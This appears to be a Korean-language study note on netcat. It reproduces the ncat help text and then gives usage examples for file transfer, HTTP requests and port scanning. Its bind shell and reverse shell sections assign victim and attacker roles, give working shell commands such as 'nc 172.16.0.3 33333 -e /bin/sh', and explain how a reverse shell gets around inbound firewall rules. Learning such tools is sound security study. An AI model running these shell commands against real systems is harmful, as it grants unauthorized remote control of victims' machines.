Netcat

netcat(nc) : TCP/UDP를 이용하여 네트워크 연결을읽거나 쓰는 명령줄 유틸리티

 

nc --help

 

Ncat 7.92 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
      --vsock                Use vsock sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec <command>    Executes the given command via /bin/sh
  -e, --exec <command>       Executes the given command
      --lua-exec <filename>  Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns <n>        Maximum <n> simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay <time>         Wait between read/writes
  -o, --output <filename>    Dump session data to a file
  -x, --hex-dump <filename>  Dump session data as hex to a file
  -i, --idle-timeout <time>  Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait <time>          Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --no-shutdown          Continue half-duplex when receiving EOF on stdin
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy <addr[:port]>  Specify address of host to proxy through
      --proxy-type <type>    Specify proxy type ("http", "socks4", "socks5")
      --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
      --proxy-dns <type>     Specify where to resolve proxy destination
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --ssl-servername       Request distinct server name (SNI)
      --ssl-alpn             ALPN protocol list to use
      --version              Display Ncat's version information and exit

 

 

주요 사용법

 

데이터 전송

#Server
nc -l [Listen Port] > [File Name]

#Client
nc [Server IP] [Port] < [File Name]

 

 

HTTP 통신

#Client
printf "[HTTP Packet]" | nc [Server Domain or IP] 80

 

 

Bind Shell

#Server(피해자)
nv -lp [Port] -e [Shell]

#Client(공격자)
nc [Server IP] [Port]

 

Reverse Shell

: 공격자가 접속 대기. 공격자가 클라이언트에 접속

일반적인 방화벽 규칙에 의하면 외부에서 내부로의 침투에 대한 규칙이 적용됨. 따라서 이를 반대로 피해자가 외부로 나가기 때문에 이를 우회 가능

#Server(공격자)
nc -lp [Port]

# nc -lp 33333

#Client(피해자)
nc [Server IP] [Port] -e [Shell]

#nc 172.16.0.3 33333 -e /bin/sh

 

 

 

포트 스캐닝

#Client
nc -zv [Host IP] [Start Port]-[End Port]